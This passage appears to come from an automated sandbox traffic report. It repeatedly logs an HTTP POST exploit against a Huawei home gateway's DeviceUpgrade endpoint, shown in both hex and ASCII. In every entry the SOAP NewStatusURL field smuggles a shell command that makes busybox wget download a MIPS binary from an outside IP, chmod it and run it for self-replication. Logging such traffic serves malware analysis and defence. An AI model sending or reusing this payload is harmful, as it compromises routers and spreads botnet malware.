/mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 